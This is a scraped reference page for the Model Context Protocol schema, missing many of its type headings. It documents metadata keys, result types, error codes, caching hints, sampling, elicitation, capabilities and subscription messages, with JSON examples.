If not provided, the client should assume the icon can be used with any theme.
Deprecated as of protocol version 2026-07-28 (SEP-2577).
Remains in the specification for at least twelve months; see the
deprecated features registry.
### `MetaObject`
MetaObject:Record\<string,unknown>
Represents the contents of a \_meta field, which clients and servers use to attach additional metadata to their interactions.
Certain key names are reserved by MCP for protocol-level metadata; implementations MUST NOT make assumptions about values at these keys. Additionally, specific schema definitions may reserve particular names for purpose-specific metadata, as declared in those definitions.
Valid keys have two segments:
Prefix:
Optional — if specified, MUST be a series of labels separated by dots (.), followed by a slash (/).
Labels MUST start with a letter and end with a letter or digit. Interior characters may be letters, digits, or hyphens (-).
Implementations SHOULD use reverse DNS notation (e.g., com.example/ rather than example.com/).
Any prefix where the second label is modelcontextprotocol or mcp is reserved for MCP use. For example: io.modelcontextprotocol/, dev.mcp/, org.modelcontextprotocol.api/, and com.mcp.tools/ are all reserved. However, com.example.mcp/ is NOT reserved, as the second label is example.
Name:
Unless empty, MUST start and end with an alphanumeric character (\[a-z0-9A-Z]).
Interior characters may be alphanumeric, hyphens (-), underscores (\_), or dots (.).
Identifies the subscription stream a notification was delivered on. The
server MUST include this key on every notification delivered via a subscriptions/listen stream, so the
client can correlate the notification with the originating subscription.
The key is absent on notifications not delivered via a subscription
stream (e.g. progress notifications for an in-flight request), which is
why it is optional here.
The value is the JSON-RPC ID of the subscriptions/listen request that
opened the stream.
If specified, the caller is requesting out-of-band progress notifications for this request (as represented by notifications/progress). The value of this parameter is an opaque token that will be attached to any subsequent notifications. The receiver is not obligated to provide these notifications.
"io.modelcontextprotocol/protocolVersion": string
The MCP Protocol Version being used for this request. Required.
For the HTTP transport, this value MUST match the MCP-Protocol-Version
header; otherwise the server MUST return a 400 Bad Request. If the
server does not support the requested version, it MUST return an UnsupportedProtocolVersionError.
Identifies the client software making the request. Clients SHOULD
include this field on every request unless specifically configured not
to do so.
The Implementation schema requires name and version; other
fields are optional.
The value is self-reported by the client and is not verified by the
protocol. It is intended for display, logging, and debugging. Servers
SHOULD NOT use it to change their behavior, and SHOULD NOT rely on it for
security decisions.
The client's capabilities for this specific request. Required.
Capabilities are declared per-request rather than once at initialization;
an empty object means the client supports no optional capabilities.
Servers MUST NOT infer capabilities from prior requests.
"io.modelcontextprotocol/logLevel"?: LoggingLevel
The desired log level for this request. Optional.
If absent, the server MUST NOT send any notifications/message
notifications for this request. The client opts in to log messages by
explicitly setting a level. Replaces the former logging/setLevel RPC.
Deprecated
Deprecated as of protocol version 2026-07-28 (SEP-2577).
Remains in the specification for at least twelve months; see the
deprecated features registry.
Indicates the type of the result, which allows the client to determine
how to parse the result object.
Servers implementing this protocol version MUST include this field.
For backward compatibility, when a client receives a result from a
server implementing an earlier protocol version (which does not include resultType), the client MUST treat the absent field as "complete".
Identifies the server software producing the response. Servers SHOULD
include this field on every response unless specifically configured not
to do so.
The Implementation schema requires name and version; other
fields are optional.
The value is self-reported by the server and is not verified by the
protocol. It is intended for display, logging, and debugging. Clients
SHOULD NOT use it to change their behavior, and SHOULD NOT rely on it for
security decisions.
### `ResultType`
ResultType:"complete"|"input\_required"|string
Indicates the type of a Result object, allowing the client to
determine how to parse the response.
complete - the request completed successfully and the result contains the final content.
input\_required - the request requires additional input and the result contains an InputRequiredResult object with instructions for the client to provide additional input before retrying the original request.
### `Role`
Role:"user"|"assistant"
The sender or recipient of messages and data in a conversation.
A short description of the error. The message SHOULD be limited to a concise single sentence.
data?: unknown
Additional information about the error. The value of this member is defined by the sender (e.g. detailed error information, nested errors etc.).
### `HEADER_MISMATCH`
HEADER\_MISMATCH:-32020
Error code returned when the HTTP headers of a request do not match the
corresponding values in the request body, or required headers are
missing or malformed.
Returned when a server rejects a request because the values in the HTTP
headers do not match the corresponding values in the request body, or
because required headers are missing or malformed. For HTTP, the response
status code MUST be 400 Bad Request.
Example: Header mismatch
\{ "jsonrpc": "2.0", "id": 1, "error": \{ "code": -32020, "message": "Header mismatch: Mcp-Name header value 'foo' does not match body value 'bar'" } }
A JSON-RPC error indicating that an internal error occurred on the receiver. This error is returned when the receiver encounters an unexpected condition that prevents it from fulfilling the request.
A JSON-RPC error indicating that the request is not a valid request object. This error is returned when the message structure does not conform to the JSON-RPC 2.0 specification requirements for a request (e.g., missing required fields like jsonrpc or method, or using invalid types for these fields).
A JSON-RPC error indicating that the requested method does not exist or is not available.
In MCP, a server returns this error when a client invokes a method the server does not implement — either a genuinely unknown method, or one gated behind a server capability the server did not advertise (e.g., calling prompts/list when the prompts capability was not advertised).
Returned when processing a request requires a capability the client did not
declare in clientCapabilities. For HTTP, the response status code MUST be 400 Bad Request.
Example: Missing elicitation capability
\{ "jsonrpc": "2.0", "id": 1, "error": \{ "code": -32021, "message": "Server requires the elicitation capability for this request", "data": \{ "requiredCapabilities": \{ "elicitation": \{} } } } }
A JSON-RPC error indicating that invalid JSON was received by the server. This error is returned when the server cannot parse the JSON text of a message.
Returned when the request's protocol version is unknown to the server or
unsupported (e.g., a known experimental or draft version the server has
chosen not to implement). For HTTP, the response status code MUST be 400 Bad Request.
Intended for programmatic or logical use, but used as a display name in past specs or fallback (if title isn't present).
title?: string
Intended for UI and end-user contexts — optimized to be human-readable and easily understood,
even by those unfamiliar with domain-specific terminology.
If not provided, the name should be used for display (except for Tool,
where annotations.title should be given precedence over using name,
if present).
uri: string
The URI of this resource.
description?: string
A description of what this resource represents.
This can be used by clients to improve the LLM's understanding of available resources. It can be thought of like a "hint" to the model.
mimeType?: string
The MIME type of this resource, if known.
annotations?: Annotations
Optional annotations for the client.
size?: number
The size of the raw resource content, in bytes (i.e., before base64 encoding or any tokenization), if known.
This can be used by Hosts to display file sizes and estimate context window usage.
Indicates the type of the result, which allows the client to determine
how to parse the result object.
Servers implementing this protocol version MUST include this field.
For backward compatibility, when a client receives a result from a
server implementing an earlier protocol version (which does not include resultType), the client MUST treat the absent field as "complete".
Intended for programmatic or logical use, but used as a display name in past specs or fallback (if title isn't present).
title?: string
Intended for UI and end-user contexts — optimized to be human-readable and easily understood,
even by those unfamiliar with domain-specific terminology.
If not provided, the name should be used for display (except for Tool,
where annotations.title should be given precedence over using name,
if present).
The submitted form data, only present when action is "accept" and mode was "form".
Contains values matching the requested schema.
Omitted for out-of-band mode responses.
The parameters for a request to elicit information from the user via a URL in the client.
Example: Elicit sensitive data
\{ "mode": "url", "url": "[https://mcp.example.com/ui/set\_api\_key](https://mcp.example.com/ui/set\_api\_key)", "message": "Please provide your API key to continue." }
mode: "url"
The elicitation mode.
message: string
The message to present to the user explaining why the interaction is needed.
This notification is sent by the client to indicate that it is cancelling a request it previously issued.
On stdio, the server also sends this notification, solely to terminate a subscriptions/listen stream: it references the ID of the subscriptions/listen request that opened the stream. Servers MUST NOT use this notification to cancel any other request.
The request SHOULD still be in-flight, but due to communication latency, it is always possible that this notification MAY arrive after the request has already finished.
This notification indicates that the result will be unused, so any associated processing SHOULD cease.
JSONRPCNotification of a log message passed from server to client. The client opts in by setting "io.modelcontextprotocol/logLevel" in a request's \_meta.
Deprecated
Deprecated as of protocol version 2026-07-28 (SEP-2577).
Remains in the specification for at least twelve months; see the
deprecated features registry.
Parameters for a notifications/message notification.
Deprecated
Deprecated as of protocol version 2026-07-28 (SEP-2577).
Remains in the specification for at least twelve months; see the
deprecated features registry.
An optional notification from the server to the client, informing it that the list of prompts it offers has changed. This is only delivered on a subscriptions/listen stream when the client requested it via the promptsListChanged filter field.
An optional notification from the server to the client, informing it that the list of resources it can read from has changed. This is only delivered on a subscriptions/listen stream when the client requested it via the resourcesListChanged filter field.
A notification from the server to the client, informing it that a resource has changed and may need to be read again. This is only sent for resources the client opted in to via the resourceSubscriptions field of a subscriptions/listen request.
Sent by the server to acknowledge that a subscriptions/listen subscription has been
established and to report which notification types it agreed to honor.
This notification MUST be the first message the server sends carrying the
subscription's ID in io.modelcontextprotocol/subscriptionId. The server MUST
NOT send any notification on the subscription before acknowledging it. On
stdio, where every subscription shares one channel, this ordering is defined
per subscription ID and not per channel: messages belonging to other
subscriptions MAY be interleaved before it.
The subset of requested notification types the server agreed to honor.
Only includes notification types the server actually supports; if the
client requested an unsupported type (e.g., promptsListChanged when
the server has no prompts), it is omitted from this set.
An optional notification from the server to the client, informing it that the list of tools it offers has changed. This is only delivered on a subscriptions/listen stream when the client requested it via the toolsListChanged filter field.
Indicates the type of the result, which allows the client to determine
how to parse the result object.
Servers implementing this protocol version MUST include this field.
For backward compatibility, when a client receives a result from a
server implementing an earlier protocol version (which does not include resultType), the client MUST treat the absent field as "complete".
inputRequests?: InputRequests
requestState?: string
### `InputResponses`
InputResponses:any
A map of client responses to server-initiated requests.
Keys correspond to the keys in the InputRequests map;
values are the client's result for each request.
Example: Elicitation and sampling input responses
\{ "github\_login": \{ "action": "accept", "content": \{ "name": "octocat" } }, "capital\_of\_france": \{ "role": "assistant", "content": \{ "type": "text", "text": "The capital of France is Paris." }, "model": "claude-3-sonnet-20240307", "stopReason": "endTurn" } }
Indicates the type of the result, which allows the client to determine
how to parse the result object.
Servers implementing this protocol version MUST include this field.
For backward compatibility, when a client receives a result from a
server implementing an earlier protocol version (which does not include resultType), the client MUST treat the absent field as "complete".
Indicates the type of the result, which allows the client to determine
how to parse the result object.
Servers implementing this protocol version MUST include this field.
For backward compatibility, when a client receives a result from a
server implementing an earlier protocol version (which does not include resultType), the client MUST treat the absent field as "complete".
nextCursor?: string
An opaque token representing the pagination position after the last returned result.
If present, there may be more results available.
ttlMs: number
A hint from the server indicating how long (in milliseconds) the
client MAY cache this response before re-fetching. Semantics are
analogous to HTTP Cache-Control max-age.
If 0, The response SHOULD be considered immediately stale,
The client MAY re-fetch every time the result is needed.
If positive, the client SHOULD consider the result fresh for this many
milliseconds after receiving the response.
cacheScope: "public" | "private"
Indicates the intended scope of the cached response, analogous to HTTP Cache-Control: public vs Cache-Control: private.
"public": The response does not contain user-specific data. Any
client or intermediary (e.g., shared gateway, caching proxy) MAY cache
the response and serve it across authorization contexts.
"private": The response MAY be cached and reused only within the
same authorization context. Caches MUST NOT be shared across
authorization contexts (e.g., a different access token requires a
different cache).
Intended for programmatic or logical use, but used as a display name in past specs or fallback (if title isn't present).
title?: string
Intended for UI and end-user contexts — optimized to be human-readable and easily understood,
even by those unfamiliar with domain-specific terminology.
If not provided, the name should be used for display (except for Tool,
where annotations.title should be given precedence over using name,
if present).
description?: string
An optional description of what this prompt provides
arguments?: PromptArgument\[]
A list of arguments to use for templating the prompt.
Intended for programmatic or logical use, but used as a display name in past specs or fallback (if title isn't present).
title?: string
Intended for UI and end-user contexts — optimized to be human-readable and easily understood,
even by those unfamiliar with domain-specific terminology.
If not provided, the name should be used for display (except for Tool,
where annotations.title should be given precedence over using name,
if present).
Indicates the type of the result, which allows the client to determine
how to parse the result object.
Servers implementing this protocol version MUST include this field.
For backward compatibility, when a client receives a result from a
server implementing an earlier protocol version (which does not include resultType), the client MUST treat the absent field as "complete".
nextCursor?: string
An opaque token representing the pagination position after the last returned result.
If present, there may be more results available.
ttlMs: number
A hint from the server indicating how long (in milliseconds) the
client MAY cache this response before re-fetching. Semantics are
analogous to HTTP Cache-Control max-age.
If 0, The response SHOULD be considered immediately stale,
The client MAY re-fetch every time the result is needed.
If positive, the client SHOULD consider the result fresh for this many
milliseconds after receiving the response.
cacheScope: "public" | "private"
Indicates the intended scope of the cached response, analogous to HTTP Cache-Control: public vs Cache-Control: private.
"public": The response does not contain user-specific data. Any
client or intermediary (e.g., shared gateway, caching proxy) MAY cache
the response and serve it across authorization contexts.
"private": The response MAY be cached and reused only within the
same authorization context. Caches MUST NOT be shared across
authorization contexts (e.g., a different access token requires a
different cache).
Intended for programmatic or logical use, but used as a display name in past specs or fallback (if title isn't present).
title?: string
Intended for UI and end-user contexts — optimized to be human-readable and easily understood,
even by those unfamiliar with domain-specific terminology.
If not provided, the name should be used for display (except for Tool,
where annotations.title should be given precedence over using name,
if present).
uri: string
The URI of this resource.
description?: string
A description of what this resource represents.
This can be used by clients to improve the LLM's understanding of available resources. It can be thought of like a "hint" to the model.
mimeType?: string
The MIME type of this resource, if known.
annotations?: Annotations
Optional annotations for the client.
size?: number
The size of the raw resource content, in bytes (i.e., before base64 encoding or any tokenization), if known.
This can be used by Hosts to display file sizes and estimate context window usage.
Indicates the type of the result, which allows the client to determine
how to parse the result object.
Servers implementing this protocol version MUST include this field.
For backward compatibility, when a client receives a result from a
server implementing an earlier protocol version (which does not include resultType), the client MUST treat the absent field as "complete".
ttlMs: number
A hint from the server indicating how long (in milliseconds) the
client MAY cache this response before re-fetching. Semantics are
analogous to HTTP Cache-Control max-age.
If 0, The response SHOULD be considered immediately stale,
The client MAY re-fetch every time the result is needed.
If positive, the client SHOULD consider the result fresh for this many
milliseconds after receiving the response.
cacheScope: "public" | "private"
Indicates the intended scope of the cached response, analogous to HTTP Cache-Control: public vs Cache-Control: private.
"public": The response does not contain user-specific data. Any
client or intermediary (e.g., shared gateway, caching proxy) MAY cache
the response and serve it across authorization contexts.
"private": The response MAY be cached and reused only within the
same authorization context. Caches MUST NOT be shared across
authorization contexts (e.g., a different access token requires a
different cache).
Indicates the type of the result, which allows the client to determine
how to parse the result object.
Servers implementing this protocol version MUST include this field.
For backward compatibility, when a client receives a result from a
server implementing an earlier protocol version (which does not include resultType), the client MUST treat the absent field as "complete".
nextCursor?: string
An opaque token representing the pagination position after the last returned result.
If present, there may be more results available.
ttlMs: number
A hint from the server indicating how long (in milliseconds) the
client MAY cache this response before re-fetching. Semantics are
analogous to HTTP Cache-Control max-age.
If 0, The response SHOULD be considered immediately stale,
The client MAY re-fetch every time the result is needed.
If positive, the client SHOULD consider the result fresh for this many
milliseconds after receiving the response.
cacheScope: "public" | "private"
Indicates the intended scope of the cached response, analogous to HTTP Cache-Control: public vs Cache-Control: private.
"public": The response does not contain user-specific data. Any
client or intermediary (e.g., shared gateway, caching proxy) MAY cache
the response and serve it across authorization contexts.
"private": The response MAY be cached and reused only within the
same authorization context. Caches MUST NOT be shared across
authorization contexts (e.g., a different access token requires a
different cache).
Intended for programmatic or logical use, but used as a display name in past specs or fallback (if title isn't present).
title?: string
Intended for UI and end-user contexts — optimized to be human-readable and easily understood,
even by those unfamiliar with domain-specific terminology.
If not provided, the name should be used for display (except for Tool,
where annotations.title should be given precedence over using name,
if present).
uriTemplate: string
A URI template (according to RFC 6570) that can be used to construct resource URIs.
description?: string
A description of what this template is for.
This can be used by clients to improve the LLM's understanding of available resources. It can be thought of like a "hint" to the model.
mimeType?: string
The MIME type for all resources that match this template. This should only be included if all resources matching this template have the same type.
Sent from the server to request a list of root URIs from the client. Roots allow
servers to ask for specific directories or files to operate on. A common example
for roots is providing a set of repositories or directories a server should operate
on.
This request is typically used when the server needs to understand the file system
structure or access specific locations that the client has permission to read from.
Deprecated as of protocol version 2026-07-28 (SEP-2577).
Remains in the specification for at least twelve months; see the
deprecated features registry.
The result returned by the client for a roots/list request.
This result contains an array of Root objects, each representing a root directory
or file that the server can operate on.
Deprecated as of protocol version 2026-07-28 (SEP-2577).
Remains in the specification for at least twelve months; see the
deprecated features registry.
Represents a root directory or file that the server can operate on.
Example: Project directory root
\{ "uri": "file:///home/user/projects/myproject", "name": "My Project" }
Deprecated
Deprecated as of protocol version 2026-07-28 (SEP-2577).
Remains in the specification for at least twelve months; see the
deprecated features registry.
uri: string
The URI identifying the root. This must start with file:// for now.
This restriction may be relaxed in future versions of the protocol to allow
other URI schemes.
name?: string
An optional name for the root. This can be used to provide a human-readable
identifier for the root, which may be useful for display purposes or for
referencing the root in other parts of the application.
A request from the server to sample an LLM via the client. The client has full discretion over which model to select. The client should also inform the user before beginning sampling, to allow them to inspect the request (human in the loop) and decide whether to approve it.
Example: Sampling request
\{ "method": "sampling/createMessage", "params": \{ "messages": \[ \{ "role": "user", "content": \{ "type": "text", "text": "What is the capital of France?" } } ], "modelPreferences": \{ "hints": \[ \{ "name": "claude-3-sonnet" } ], "intelligencePriority": 0.8, "speedPriority": 0.5 }, "systemPrompt": "You are a helpful assistant.", "maxTokens": 100 } }
Deprecated
Deprecated as of protocol version 2026-07-28 (SEP-2577).
Remains in the specification for at least twelve months; see the
deprecated features registry.
Deprecated as of protocol version 2026-07-28 (SEP-2577).
Remains in the specification for at least twelve months; see the
deprecated features registry.
messages: SamplingMessage\[]
modelPreferences?: ModelPreferences
The server's preferences for which model to select. The client MAY ignore these preferences.
systemPrompt?: string
An optional system prompt the server wants to use for sampling. The client MAY modify or omit this prompt.
A request to include context from one or more MCP servers (including the caller), to be attached to the prompt.
The client MAY ignore this request.
Default is "none". The values "thisServer" and "allServers" are deprecated (SEP-2596): servers SHOULD
omit this field or use "none", and SHOULD only use the deprecated values if the client declares ClientCapabilities.sampling.context.
Deprecated
The "thisServer" and "allServers" values are deprecated as of protocol version 2025-11-25
(SEP-2596) and will be removed no later than the Sampling feature itself (SEP-2577). Omit this field or use "none".
temperature?: number
maxTokens: number
The requested maximum number of tokens to sample (to prevent runaway completions).
The client MAY choose to sample fewer tokens than the requested maximum.
stopSequences?: string\[]
metadata?: JSONObject
Optional metadata to pass through to the LLM provider. The format of this metadata is provider-specific.
tools?: Tool\[]
Tools that the model may use during generation.
The client MUST return an error if this field is provided but ClientCapabilities.sampling.tools is not declared.
toolChoice?: ToolChoice
Controls how the model uses tools.
The client MUST return an error if this field is provided but ClientCapabilities.sampling.tools is not declared.
Default is \{ mode: "auto" }.
The result returned by the client for a sampling/createMessage request.
The client should inform the user before returning the sampled message, to allow them
to inspect the response (human in the loop) and decide whether to allow the server to see it.
Example: Text response
\{ "role": "assistant", "content": \{ "type": "text", "text": "The capital of France is Paris." }, "model": "claude-3-sonnet-20240307", "stopReason": "endTurn" }
\{ "role": "assistant", "content": \{ "type": "text", "text": "Based on the current weather data:\n\n- \*\*Paris\*\*: 18°C and partly cloudy - quite pleasant!\n- \*\*London\*\*: 15°C and rainy - you'll want an umbrella.\n\nParis has slightly warmer and drier conditions today." }, "model": "claude-3-sonnet-20240307", "stopReason": "endTurn" }
Deprecated
Deprecated as of protocol version 2026-07-28 (SEP-2577).
Remains in the specification for at least twelve months; see the
deprecated features registry.
model: string
The name of the model that generated the message.
stopReason?: string
The reason why sampling stopped, if known.
Standard values:
"endTurn": Natural end of the assistant's turn
"stopSequence": A stop sequence was encountered
"maxTokens": Maximum token limit was reached
"toolUse": The model wants to use one or more tools
This field is an open string to allow for provider-specific stop reasons.
Keys not declared here are currently left unspecified by the spec and are up
to the client to interpret.
Deprecated
Deprecated as of protocol version 2026-07-28 (SEP-2577).
Remains in the specification for at least twelve months; see the
deprecated features registry.
name?: string
A hint for a model name.
The client SHOULD treat this as a substring of a model name; for example:
claude-3-5-sonnet should match claude-3-5-sonnet-20241022
sonnet should match claude-3-5-sonnet-20241022, claude-3-sonnet-20240229, etc.
claude should match any Claude model
The client MAY also map the string to a different provider's model name or a different model family, as long as it fills a similar niche; for example:
gemini-1.5-flash could match claude-3-haiku-20240307
The server's preferences for model selection, requested of the client during sampling.
Because LLMs can vary along multiple dimensions, choosing the "best" model is
rarely straightforward. Different models excel in different areas—some are
faster but less capable, others are more capable but more expensive, and so
on. This interface allows servers to express their priorities across multiple
dimensions to help clients make an appropriate selection for their use case.
These preferences are always advisory. The client MAY ignore them. It is also
up to the client to decide how to interpret these preferences and how to
balance them against other considerations.
Deprecated as of protocol version 2026-07-28 (SEP-2577).
Remains in the specification for at least twelve months; see the
deprecated features registry.
hints?: ModelHint\[]
Optional hints to use for model selection.
If multiple hints are specified, the client MUST evaluate them in order
(such that the first match is taken).
The client SHOULD prioritize these hints over the numeric priorities, but
MAY still use the priorities to select from ambiguous matches.
costPriority?: number
How much to prioritize cost when selecting a model. A value of 0 means cost
is not important, while a value of 1 means cost is the most important
factor.
speedPriority?: number
How much to prioritize sampling speed (latency) when selecting a model. A
value of 0 means speed is not important, while a value of 1 means speed is
the most important factor.
intelligencePriority?: number
How much to prioritize intelligence and capabilities when selecting a
model. A value of 0 means intelligence is not important, while a value of 1
means intelligence is the most important factor.
Deprecated as of protocol version 2026-07-28 (SEP-2577).
Remains in the specification for at least twelve months; see the
deprecated features registry.
Deprecated as of protocol version 2026-07-28 (SEP-2577).
Remains in the specification for at least twelve months; see the
deprecated features registry.
Controls tool selection behavior for sampling requests.
Deprecated
Deprecated as of protocol version 2026-07-28 (SEP-2577).
Remains in the specification for at least twelve months; see the
deprecated features registry.
mode?: "none" | "required" | "auto"
Controls the tool use ability of the model:
"auto": Model decides whether to use tools (default)
"required": Model MUST use at least one tool before completing
Deprecated as of protocol version 2026-07-28 (SEP-2577).
Remains in the specification for at least twelve months; see the
deprecated features registry.
type: "tool\_result"
toolUseId: string
The ID of the tool use this result corresponds to.
This has the same format as CallToolResult.content and can include text, images,
audio, resource links, and embedded resources.
structuredContent?: unknown
An optional structured result value.
This can be any JSON value (object, array, string, number, boolean, or null).
If the tool defined an Tool.outputSchema, this SHOULD conform to that schema.
isError?: boolean
Whether the tool use resulted in an error.
If true, the content typically describes the error that occurred.
Default: false
\_meta?: MetaObject
Optional metadata about the tool result. Clients SHOULD preserve this field when
including tool results in subsequent sampling requests to enable caching optimizations.
Deprecated as of protocol version 2026-07-28 (SEP-2577).
Remains in the specification for at least twelve months; see the
deprecated features registry.
type: "tool\_use"
id: string
A unique identifier for this tool use.
This ID is used to match tool results to their corresponding tool uses.
name: string
The name of the tool to call.
input: \{ \[key: string]: unknown }
The arguments to pass to the tool, conforming to the tool's input schema.
\_meta?: MetaObject
Optional metadata about the tool use. Clients SHOULD preserve this field when
including tool uses in subsequent sampling requests to enable caching optimizations.
A request from the client asking the server to advertise its supported
protocol versions, capabilities, and other metadata. Servers MUST
implement server/discover. Clients MAY call it but are not required
to — version negotiation can also happen inline via per-request \_meta.
Indicates the type of the result, which allows the client to determine
how to parse the result object.
Servers implementing this protocol version MUST include this field.
For backward compatibility, when a client receives a result from a
server implementing an earlier protocol version (which does not include resultType), the client MUST treat the absent field as "complete".
supportedVersions: string\[]
MCP Protocol Versions this server supports. The client should choose a
version from this list for use in subsequent requests.
capabilities: ServerCapabilities
The capabilities of the server.
instructions?: string
Natural-language guidance describing the server and its features.
This can be used by clients to improve an LLM's understanding of
available tools (e.g., by including it in a system prompt). It should
focus on information that helps the model use the server effectively
and should not duplicate information already in tool descriptions.
ttlMs: number
A hint from the server indicating how long (in milliseconds) the
client MAY cache this response before re-fetching. Semantics are
analogous to HTTP Cache-Control max-age.
If 0, The response SHOULD be considered immediately stale,
The client MAY re-fetch every time the result is needed.
If positive, the client SHOULD consider the result fresh for this many
milliseconds after receiving the response.
cacheScope: "public" | "private"
Indicates the intended scope of the cached response, analogous to HTTP Cache-Control: public vs Cache-Control: private.
"public": The response does not contain user-specific data. Any
client or intermediary (e.g., shared gateway, caching proxy) MAY cache
the response and serve it across authorization contexts.
"private": The response MAY be cached and reused only within the
same authorization context. Caches MUST NOT be shared across
authorization contexts (e.g., a different access token requires a
different cache).
Capabilities a client may support. Known capabilities are defined here, in this schema, but this is not a closed set: any client can define its own, additional capabilities.
experimental?: \{ \[key: string]: JSONObject }
Experimental, non-standard capabilities that the client supports.
roots?: \{}
Present if the client supports listing roots.
Deprecated
Deprecated as of protocol version 2026-07-28 (SEP-2577).
Remains in the specification for at least twelve months; see the
deprecated features registry.
Whether the client supports context inclusion via includeContext parameter.
If not declared, servers SHOULD only use includeContext: "none" (or omit it).
Whether the client supports tool use via tools and toolChoice parameters.
Deprecated
Deprecated as of protocol version 2026-07-28 (SEP-2577).
Remains in the specification for at least twelve months; see the
deprecated features registry.
Example: Sampling — minimum baseline support
\{ "sampling": \{} }
Example: Sampling — tool use support
\{ "sampling": \{ "tools": \{} } }
Example: Sampling — context inclusion support (deprecated)
Present if the client supports elicitation from the server.
Example: Elicitation — form and URL mode support
\{ "elicitation": \{ "form": \{}, "url": \{} } }
Example: Elicitation — form mode only (implicit)
\{ "elicitation": \{} }
extensions?: \{ \[key: string]: JSONObject }
Optional MCP extensions that the client supports. Keys are extension identifiers
(e.g., "io.modelcontextprotocol/oauth-client-credentials"), and values are
per-extension settings objects. An empty object indicates support with no settings.
Intended for programmatic or logical use, but used as a display name in past specs or fallback (if title isn't present).
title?: string
Intended for UI and end-user contexts — optimized to be human-readable and easily understood,
even by those unfamiliar with domain-specific terminology.
If not provided, the name should be used for display (except for Tool,
where annotations.title should be given precedence over using name,
if present).
version: string
The version of this implementation.
description?: string
An optional human-readable description of what this implementation does.
This can be used by clients or servers to provide context about their purpose
and capabilities. For example, a server might describe the types of resources
or tools it provides, while a client might describe its intended use case.
websiteUrl?: string
An optional URL of the website for this implementation.
Capabilities that a server may support. Known capabilities are defined here, in this schema, but this is not a closed set: any server can define its own, additional capabilities.
experimental?: \{ \[key: string]: JSONObject }
Experimental, non-standard capabilities that the server supports.
logging?: JSONObject
Present if the server supports sending log messages to the client.
Deprecated
Deprecated as of protocol version 2026-07-28 (SEP-2577).
Remains in the specification for at least twelve months; see the
deprecated features registry.
Example: Logging — minimum baseline support
\{ "logging": \{} }
completions?: JSONObject
Present if the server supports argument autocompletion suggestions.
Example: Completions — minimum baseline support
\{ "completions": \{} }
prompts?: \{ listChanged?: boolean }
Present if the server offers any prompt templates.
Type Declaration
OptionallistChanged?: boolean
Whether this server supports notifications for changes to the prompt list.
Whether this server supports notifications for changes to the tool list.
Example: Tools — minimum baseline support
\{ "tools": \{} }
Example: Tools — list changed notifications
\{ "tools": \{ "listChanged": true } }
extensions?: \{ \[key: string]: JSONObject }
Optional MCP extensions that the server supports. Keys are extension identifiers
(e.g., "io.modelcontextprotocol/tasks"), and values are per-extension settings
objects. An empty object indicates support with no settings.
Sent from the client to open a long-lived channel for receiving notifications
outside the context of a specific request. Replaces the previous HTTP GET
endpoint and ensures consistent behavior between HTTP and STDIO.
Example: Listen for tools and resource list changes
The response to a subscriptions/listen
request, signalling that the subscription has ended gracefully (for example,
during server shutdown). Because the listen stream is long-lived, this result
is sent only when the server tears the subscription down; an abrupt transport
close carries no response. The result body is otherwise empty.
Indicates the type of the result, which allows the client to determine
how to parse the result object.
Servers implementing this protocol version MUST include this field.
For backward compatibility, when a client receives a result from a
server implementing an earlier protocol version (which does not include resultType), the client MUST treat the absent field as "complete".
Identifies the server software producing the response. Servers SHOULD
include this field on every response unless specifically configured not
to do so.
The Implementation schema requires name and version; other
fields are optional.
The value is self-reported by the server and is not verified by the
protocol. It is intended for display, logging, and debugging. Clients
SHOULD NOT use it to change their behavior, and SHOULD NOT rely on it for
security decisions.
Identifies the subscription stream this response closes, so the client can
correlate it with the originating subscription — mirroring the same key on
the stream's notifications. The value is the JSON-RPC ID of the subscriptions/listen request that opened the stream (and equals this
response's id).
\{ "resultType": "complete", "content": \[ \{ "type": "text", "text": "Invalid departure date: must be in the future. Current date is 08/08/2025." } ], "isError": true }
\_meta?: ResultMetaObject
resultType: string
Indicates the type of the result, which allows the client to determine
how to parse the result object.
Servers implementing this protocol version MUST include this field.
For backward compatibility, when a client receives a result from a
server implementing an earlier protocol version (which does not include resultType), the client MUST treat the absent field as "complete".
content: ContentBlock\[]
A list of content objects that represent the unstructured result of the tool call.
structuredContent?: unknown
An optional JSON value that represents the structured result of the tool call.
This can be any JSON value (object, array, string, number, boolean, or null)
that conforms to the tool's outputSchema if one is defined.
isError?: boolean
Whether the tool call ended in an error.
If not set, this is assumed to be false (the call was successful).
Any errors that originate from the tool SHOULD be reported inside the result
object, with isError set to true, not as an MCP protocol-level error
response. Otherwise, the LLM would not be able to see that an error occurred
and self-correct.
However, any errors in finding the tool, an error indicating that the
server does not support tool calls, or any other exceptional conditions,
should be reported as an MCP error response.
The result returned by the server for a tools/list request.
Example: Tools list with cursor and TTL
\{ "resultType": "complete", "tools": \[ \{ "name": "get\_weather", "title": "Weather Information Provider", "description": "Get current weather information for a location", "inputSchema": \{ "type": "object", "properties": \{ "location": \{ "type": "string", "description": "City name or zip code" } }, "required": \["location"] }, "icons": \[ \{ "src": "[https://example.com/weather-icon.png](https://example.com/weather-icon.png)", "mimeType": "image/png", "sizes": \["48x48"] } ] } ], "nextCursor": "next-page-cursor", "ttlMs": 300000, "cacheScope": "public" }
\_meta?: ResultMetaObject
resultType: string
Indicates the type of the result, which allows the client to determine
how to parse the result object.
Servers implementing this protocol version MUST include this field.
For backward compatibility, when a client receives a result from a
server implementing an earlier protocol version (which does not include resultType), the client MUST treat the absent field as "complete".
nextCursor?: string
An opaque token representing the pagination position after the last returned result.
If present, there may be more results available.
ttlMs: number
A hint from the server indicating how long (in milliseconds) the
client MAY cache this response before re-fetching. Semantics are
analogous to HTTP Cache-Control max-age.
If 0, The response SHOULD be considered immediately stale,
The client MAY re-fetch every time the result is needed.
If positive, the client SHOULD consider the result fresh for this many
milliseconds after receiving the response.
cacheScope: "public" | "private"
Indicates the intended scope of the cached response, analogous to HTTP Cache-Control: public vs Cache-Control: private.
"public": The response does not contain user-specific data. Any
client or intermediary (e.g., shared gateway, caching proxy) MAY cache
the response and serve it across authorization contexts.
"private": The response MAY be cached and reused only within the
same authorization context. Caches MUST NOT be shared across
authorization contexts (e.g., a different access token requires a
different cache).
Intended for programmatic or logical use, but used as a display name in past specs or fallback (if title isn't present).
title?: string
Intended for UI and end-user contexts — optimized to be human-readable and easily understood,
even by those unfamiliar with domain-specific terminology.
If not provided, the name should be used for display (except for Tool,
where annotations.title should be given precedence over using name,
if present).
description?: string
A human-readable description of the tool.
This can be used by clients to improve the LLM's understanding of available tools. It can be thought of like a "hint" to the model.
A JSON Schema object defining the expected parameters for the tool.
Tool arguments are always JSON objects, so type: "object" is required at the root.
Beyond that, any JSON Schema 2020-12 keyword may appear alongside type — including
composition keywords (oneOf, anyOf, allOf, not), conditional keywords
